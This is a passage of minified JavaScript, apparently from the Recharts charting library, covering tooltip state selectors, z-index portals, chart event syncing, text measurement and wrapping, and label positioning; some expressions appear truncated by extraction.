n}function Eb(e){for(var t=1;t{if(!(t==null||s==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((p,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=YD(g,l),b=Array.isArray(v)?hk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 0:y.nameKey,N;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?N=oN(b,r,i):N=s(b,t,c,j),Array.isArray(N))N.forEach(z=>{var S=Eb(Eb({},y),{},{name:z.name,unit:z.unit,color:void 0,fill:void 0});p.push(Dy({tooltipEntrySettings:S,dataKey:z.dataKey,payload:z.payload,value:Ve(z.payload,z.dataKey),name:z.name}))});else{var k;p.push(Dy({tooltipEntrySettings:y,dataKey:w,payload:N,value:Ve(N,w),name:(k=Ve(N,j))!==null&&k!==void 0?k:y==null?void 0:y.name}))}return p},f)}},av=I([yt,J4,E0],m3),qD=I([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),XD=I([St,zs],R0),Es=I([qD,yt,XD],$0,{memoizeOptions:{resultEqualityCheck:of}}),ZD=I([Es],e=>e.filter(I0)),QD=I([Es],B0,{memoizeOptions:{resultEqualityCheck:of}}),_s=I([QD,Yr],F0),JD=I([ZD,Yr,yt],q4),sv=I([_s,yt,Es],U0),L3=I([yt],V0),eR=I([yt],e=>e.allowDataOverflow),I3=I([L3,eR],_4),tR=I([Es],e=>e.filter(I0)),nR=I([JD,tR,xl,F4],i3),rR=I([nR,Yr,St,I3],s3),iR=I([Es],n3),aR=I([_s,yt,iR,cf,St],G0,{memoizeOptions:{resultEqualityCheck:sf}}),sR=I([o3,St,zs],Cs),oR=I([sR,St],u3),lR=I([l3,St,zs],Cs),cR=I([lR,St],d3),uR=I([c3,St,zs],Cs),dR=I([uR,St],f3),fR=I([oR,dR,cR],Ru),mR=I([yt,L3,I3,rR,aR,fR,De,St],Y0),wl=I([yt,De,_s,sv,xl,St,mR],q0),pR=I([wl,yt,av],Q0),hR=I([yt,wl,pR,St],ev),D3=e=>{var t=St(e),n=zs(e),r=!1;return bl(e,t,n,r)},R3=I([yt,D3],rf),$3=I([yt,av,hR,R3],Z0),xR=I([De,sv,yt,St],g3),vR=I([De,sv,yt,St],y3),gR=(e,t,n,r,i,s,o,l)=>{if(t){var{type:c}=t,u=vr(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?qt(i[0]-i[1])*2*f:f,u&&o?o.map((p,h)=>{var x=r.map(p);return Ee(x)?{coordinate:x+f,value:p,index:h,offset:f}:null}).filter(or):r.domain().map((p,h)=>{var x=r.map(p);return Ee(x)?{coordinate:x+f,value:s?s[p]:p,index:h,offset:f}:null}).filter(or)}}},Zr=I([De,yt,av,$3,D3,xR,vR,St],gR),ov=I([j3,N3,CD],(e,t,n)=>k3(n.shared,e,t)),B3=e=>e.tooltip.settings.trigger,lv=e=>e.tooltip.settings.defaultIndex,jl=I([Ps,ov,B3,lv],_3),ps=I([jl,_s,yl,wl],iv),F3=I([Zr,ps],z3),W3=I([jl],e=>{if(e)return e.dataKey}),yR=I([jl],e=>{if(e)return e.graphicalItemId}),U3=I([Ps,ov,B3,lv],O3),bR=I([Hr,Kr,De,kt,Zr,lv,U3],A3),wR=I([jl,bR],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),jR=I([jl],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),NR=I([U3,ps,Yr,yl,F3,T3,ov],M3),kR=I([NR],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function _b(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Ab(e){for(var t=1;tje(yt),ER=()=>{var e=PR(),t=je(Zr),n=je($3);return xu(!e||!n?void 0:Ab(Ab({},e),{},{scale:n}),t)};function Ob(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function za(e){for(var t=1;t{var i=t.find(s=>s&&s.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},MR=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var s=i.coordinate,{radius:o}=r;return za(za(za({},r),ft(r.cx,r.cy,o,s)),{},{angle:s,radius:o})}var l=i.coordinate,{angle:c}=r;return za(za(za({},r),ft(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function LR(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var V3=(e,t,n,r,i)=>{var s,o=(s=t==null?void 0:t.length)!==null&&s!==void 0?s:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(p=n[l+1])===null||p===void 0?void 0:p.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(qt(x-h)!==qt(g-x)){var v=[];if(qt(g-x)===qt(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var N;return(N=n[l])===null||N===void 0?void 0:N.index}}else{var k=Math.min(h,g),z=Math.max(h,g);if(e>(k+x)/2&&e<=(z+x)/2){var S;return(S=n[l])===null||S===void 0?void 0:S.index}}}else if(t)for(var O=0;O(A.coordinate+P.coordinate)/2||O>0&&O(A.coordinate+P.coordinate)/2&&e<=(A.coordinate+T.coordinate)/2)return A.index}}return-1},H3=()=>je(E0),cv=(e,t)=>t,K3=(e,t,n)=>n,uv=(e,t,n,r)=>r,IR=I(Zr,e=>Pd(e,t=>t.coordinate)),dv=I([Ps,cv,K3,uv],_3),fv=I([dv,_s,yl,wl],iv),DR=(e,t,n)=>{if(t!=null){var r=Ps(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},G3=I([Ps,cv,K3,uv],O3),$u=I([Hr,Kr,De,kt,Zr,uv,G3],A3),RR=I([dv,$u],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),Y3=I([Zr,fv],z3),$R=I([G3,fv,Yr,yl,Y3,T3,cv],M3),BR=I([dv,fv],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),FR=(e,t,n,r,i,s,o)=>{if(!(!e||!n||!r||!i)&&LR(e,o)){var l=PT(e,t),c=V3(l,s,i,n,r),u=TR(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},WR=(e,t,n,r,i,s,o)=>{if(!(!e||!r||!i||!s||!n)){var l=_8(e,n);if(l){var c=ET(l,t),u=V3(c,o,s,r,i),d=MR(t,s,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},UR=(e,t,n,r,i,s,o,l)=>{if(!(!e||!t||!r||!i||!s))return t==="horizontal"||t==="vertical"?FR(e,t,r,i,s,o,l):WR(e,t,n,r,i,s,o)},VR=I(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),HR=I(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Zt)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:SI}});function Tb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Mb(e){for(var t=1;tMb(Mb({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),qR)},ZR=new Set(Object.values(Zt));function QR(e){return ZR.has(e)}var q3=nn({name:"zIndex",initialState:XR,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:He()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!QR(n)&&delete e.zIndexMap[n])},prepare:He()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:He()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:He()}}}),{registerZIndexPortal:JR,unregisterZIndexPortal:e9,registerZIndexPortalElement:t9,unregisterZIndexPortalElement:n9}=q3.actions,r9=q3.reducer;function Mi(e){var{zIndex:t,children:n}=e,r=aM(),i=r&&t!==void 0&&t!==0,s=Jn(),o=ot();m.useLayoutEffect(()=>i?(o(JR({zIndex:t})),()=>{o(e9({zIndex:t}))}):bs,[o,t,i]);var l=je(c=>VR(c,t,s));return i?l?Nx.createPortal(n,l):null:n}function wh(){return wh=Object.assign?Object.assign.bind():function(e){for(var t=1;tm.useContext(X3),Z3={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function s(c,u,d,f,p){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,p),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var p=0,h=f.length,x=new Array(h);p{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!mr(n))return e[n]}},m9={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},J3=nn({name:"options",initialState:m9,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),p9=J3.reducer,{createEventEmitter:h9}=J3.actions;function x9(e){return e.tooltip.syncInteraction}var v9={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},ez=nn({name:"chartData",initialState:v9,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:Db,setDataStartEndIndexes:g9,setComputedData:iH}=ez.actions,y9=ez.reducer,b9=["x","y"];function Rb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sa(e){for(var t=1;tc.rootProps.className);m.useEffect(()=>{if(e==null)return bs;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var p;if(o&&d!==null&&d!==void 0&&(p=d.payload)!==null&&p!==void 0&&p.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=k9(h,b9),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,N=Sa(Sa({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(Sa(Sa({},d),{},{payload:Sa(Sa({},d.payload),{},{coordinate:N})}))}else n(d);return}if(i!=null){var k;if(typeof r=="function"){var z={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},S=r(i,z);k=i[S]}else r==="value"&&(k=i.find(K=>String(K.value)===d.payload.label));var{coordinate:O}=d.payload;if(k==null||d.payload.active===!1||O==null||o==null){n(yh({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:A,y:T}=O,P=Math.min(A,o.x+o.width),D=Math.min(T,o.y+o.height),G={x:s==="horizontal"?k.coordinate:P,y:s==="horizontal"?D:k.coordinate},R=yh({active:d.payload.active,coordinate:G,dataKey:d.payload.dataKey,index:String(k.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n(R)}}};return Qo.on(jh,c),()=>{Qo.off(jh,c)}},[l,n,t,e,r,i,s,o])}function C9(){var e=je(_0),t=je(A0),n=ot();m.useEffect(()=>{if(e==null)return bs;var r=(i,s,o)=>{t!==o&&e===i&&n(g9(s))};return Qo.on(Ib,r),()=>{Qo.off(Ib,r)}},[n,t,e])}function P9(){var e=ot();m.useEffect(()=>{e(h9())},[e]),S9(),C9()}function E9(e,t,n,r,i,s){var o=je(h=>DR(h,e,t)),l=je(A0),c=je(_0),u=je(W4),d=je(x9),f=d==null?void 0:d.active,p=Ud();m.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=yh({active:s,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:p,graphicalItemId:void 0});Qo.emit(jh,c,h,l)}},[f,n,o,i,r,l,c,u,s,p])}function $b(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Bb(e){for(var t=1;t{z(OD({shared:b,trigger:w,axisId:k,active:i,defaultIndex:S}))},[z,b,w,k,i,S]);var O=Ud(),A=Ik(),T=SD(b),{activeIndex:P,isActive:D}=(t=je(q=>BR(q,T,w,S)))!==null&&t!==void 0?t:{},G=je(q=>$R(q,T,w,S)),R=je(q=>Y3(q,T,w,S)),K=je(q=>RR(q,T,w,S)),_=G,M=u9(),F=(n=i??D)!==null&&n!==void 0?n:!1,[U,V]=hO([_,F]),Z=T==="axis"?R:void 0;E9(T,w,K,Z,P,F);var ae=N??M;if(ae==null||O==null||T==null)return null;var ue=_??Fb;F||(ue=Fb),u&&ue.length&&(ue=TA(ue.filter(q=>q.value!=null&&(q.hide!==!0||r.includeHidden)),p,T9));var be=ue.length>0,ye=m.createElement(_M,{allowEscapeViewBox:s,animationDuration:o,animationEasing:l,isAnimationActive:d,active:F,coordinate:K,hasPayload:be,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:O,wrapperStyle:y,lastBoundingBox:U,innerRef:V,hasPortalFromProps:!!N},M9(c,Bb(Bb({},r),{},{payload:ue,label:Z,active:F,activeIndex:P,coordinate:K,accessibilityLayer:A})));return m.createElement(m.Fragment,null,Nx.createPortal(ye,ae),F&&m.createElement(c9,{cursor:v,tooltipEventType:T,coordinate:K,payload:ue,index:P}))}var mf=e=>null;mf.displayName="Cell";function I9(e,t,n){return(t=D9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function D9(e){var t=R9(e,"string");return typeof t=="symbol"?t:t+""}function R9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class $9{constructor(t){I9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function Ub(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function B9(e){for(var t=1;t{try{var n=document.getElementById(Hb);n||(n=document.createElement("span"),n.setAttribute("id",Hb),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,H9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},Gb=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||Gd.isSsr)return{width:0,height:0};if(!tz.enableCache)return Kb(t,n);var r=K9(t,n),i=Vb.get(r);if(i)return i;var s=Kb(t,n);return Vb.set(r,s),s},nz;function G9(e,t,n){return(t=Y9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Y9(e){var t=q9(e,"string");return typeof t=="symbol"?t:t+""}function q9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var Yb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,qb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,X9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,Z9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,Q9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},J9=["cm","mm","pt","pc","in","Q","px"];function e$(e){return J9.includes(e)}var Ua="NaN";function t$(e,t){return e*Q9[t]}class _t{static parse(t){var n,[,r,i]=(n=Z9.exec(t))!==null&&n!==void 0?n:[];return r==null?_t.NaN:new _t(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,mr(t)&&(this.unit=""),n!==""&&!X9.test(n)&&(this.num=NaN,this.unit=""),e$(n)&&(this.num=t$(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new _t(NaN,""):new _t(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new _t(NaN,""):new _t(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new _t(NaN,""):new _t(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new _t(NaN,""):new _t(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return mr(this.num)}}nz=_t;G9(_t,"NaN",new nz(NaN,""));function rz(e){if(e==null||e.includes(Ua))return Ua;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,s]=(n=Yb.exec(t))!==null&&n!==void 0?n:[],o=_t.parse(r??""),l=_t.parse(s??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return Ua;t=t.replace(Yb,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,p]=(u=qb.exec(t))!==null&&u!==void 0?u:[],h=_t.parse(d??""),x=_t.parse(p??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return Ua;t=t.replace(qb,g.toString())}return t}var Xb=/\(([^()]*)\)/;function n$(e){for(var t=e,n;(n=Xb.exec(t))!=null;){var[,r]=n;t=t.replace(Xb,rz(r))}return t}function r$(e){var t=e.replace(/\s+/g,"");return t=n$(t),t=rz(t),t}function i$(e){try{return r$(e)}catch{return Ua}}function Nm(e){var t=i$(e.slice(5,-1));return t===Ua?"":t}var a$=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],s$=["dx","dy","angle","className","breakAll"];function Nh(){return Nh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];Mt(t)||(n?i=t.toString().split(""):i=t.toString().split(iz));var s=i.map(l=>({word:l,width:Gb(l,r).width})),o=n?0:Gb(" ",r).width;return{wordsWithComputedWidth:s,spaceWidth:o}}catch{return null}};function l$(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var sz=(e,t,n,r)=>e.reduce((i,s)=>{var{word:o,width:l}=s,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+ne.reduce((t,n)=>t.width>n.width?t:n),c$="…",Qb=(e,t,n,r,i,s,o,l)=>{var c=e.slice(0,t),u=az({breakAll:n,style:r,children:c+c$});if(!u)return[!1,[]];var d=sz(u.wordsWithComputedWidth,s,o,l),f=d.length>i||oz(d).width>Number(s);return[f,d]},u$=(e,t,n,r,i)=>{var{maxLines:s,children:o,style:l,breakAll:c}=e,u=ge(s),d=String(o),f=sz(t,r,n,i);if(!u||i)return f;var p=f.length>s||oz(f).width>Number(r);if(!p)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=Qb(d,b,c,l,s,r,n,i),[N]=Qb(d,v,c,l,s,r,n,i);if(!w&&!N&&(h=v+1),w&&N&&(x=v-1),!w&&N){y=j;break}g++}return y||f},Jb=e=>{var t=Mt(e)?[]:e.toString().split(iz);return[{words:t,width:void 0}]},d$=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:s,maxLines:o}=e;if((t||n)&&!Gd.isSsr){var l,c,u=az({breakAll:s,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return Jb(r);return u$({breakAll:s,children:r,maxLines:o,style:i},l,c,t,!!n)}return Jb(r)},lz="#808080",f$={angle:0,breakAll:!1,capHeight:"0.71em",fill:lz,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},mv=m.forwardRef((e,t)=>{var n=gn(e,f$),{x:r,y:i,lineHeight:s,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=Zb(n,a$),p=m.useMemo(()=>d$({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=Zb(f,s$);if(!Lr(r)||!Lr(i)||p.length===0)return null;var w=Number(r)+(ge(h)?h:0),j=Number(i)+(ge(x)?x:0);if(!Ee(w)||!Ee(j))return null;var N;switch(d){case"start":N=Nm("calc(".concat(o,")"));break;case"middle":N=Nm("calc(".concat((p.length-1)/2," * -").concat(s," + (").concat(o," / 2))"));break;default:N=Nm("calc(".concat(p.length-1," * -").concat(s,")"));break}var k=[],z=p[0];if(c&&z!=null){var S=z.width,{width:O}=f;k.push("scale(".concat(ge(O)&&ge(S)?O/S:1,")"))}return g&&k.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),k.length&&(b.transform=k.join(" ")),m.createElement("text",Nh({},Ut(b),{ref:t,x:w,y:j,className:Qe("recharts-text",y),textAnchor:u,fill:l.includes("url")?lz:l}),p.map((A,T)=>{var P=A.words.join(v?"":" ");return m.createElement("tspan",{x:w,dy:T===0?N:s,key:"".concat(P,"-").concat(T)},P)}))});mv.displayName="Text";function e2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rr(e){for(var t=1;t{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:s,y:o,height:l,upperWidth:c,lowerWidth:u}=t0(t),d=s,f=s+(c-u)/2,p=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,N=w>0?"end":"start",k=w>0?"start":"end",z=i;if(n==="top"){var S={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return z&&(S.height=Math.max(o-z.y,0),S.width=c),S}if(n==="bottom"){var O={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return z&&(O.height=Math.max(z.y+z.height-(o+l),0),O.width=u),O}if(n==="left"){var A={x:p-j,y:o+l/2,horizontalAnchor:N,verticalAnchor:"middle"};return z&&(A.width=Math.max(A.x-z.x,0),A.height=l),A}if(n==="right"){var T={x:p+h+j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"};return z&&(T.width=Math.max(z.x+z.width-T.x,0),T.height=l),T}var P=z?{width:h,height:l}:{};return n==="insideLeft"?rr({x:p+j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"},P):n==="insideRight"?rr({x:p+h-j,y:o+l/2,horizontalAnchor:N,verticalAnchor:"middle"},P):n==="insideTop"?rr({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},P):n==="insideBottom"?rr({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},P):n==="insideTopLeft"?rr({x:d+j,y:o+y,horizontalAnchor:k,verticalAnchor:b},P):n==="insideTopRight"?rr({x:d+c-j,y:o+y,horizontalAnchor:N,verticalAnchor:b},P):n==="insideBottomLeft"?rr({x:f+j,y:o+l-y,horizontalAnchor:k,verticalAnchor:v},P):n==="insideBottomRight"?rr({x:f+u-j,y:o+l-y,horizontalAnchor:N,verticalAnchor:v},P):n&&typeof n=="object"&&(ge(n.x)||da(n.x))&&(ge(n.y)||da(n.y))?rr({x:s+fn(n.x,h),y:o+fn(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},P):rr({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},P)},v$=["labelRef"],g$=["content"];function t2(e,t){if(e==null)return{};var n,r,i=y$(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var e=m.useContext(N$),t=Ud();return e||(t?t0(t):void 0)},z$=m.createContext(null),S$=()=>{var e=m.useContext(z$),t=je(Y4);return e||t},C$=e=>{var{value:t,formatter:n}=e,r=Mt(e.children)?t:e.children;return typeof n=="function"?n(r):r},P$=e=>e!=null&&typeof e=="function",E$=(e,t)=>{var n=qt(t-e),r=Math.min(Math.abs(t-e),360);return n*r},_$=(e,t,n,r,i)=>{var{offset:s,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:p,clockWise:h}=i,x=(u+d)/2,g=E$(f,p),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*s,b=h;break;case"insideEnd":v=p-y*s,b=!h;break;case"end":v=p+y*s,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=ft(l,c,x,v),j=ft(l,c,x,v+(b?1:-1)*359),N="M".concat(w.x,",").concat(w.y,` + A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`, + `).concat(j.x,",").concat(j.y),k=Mt(e.id)?$o("recharts-radial-line-"):e.id;return 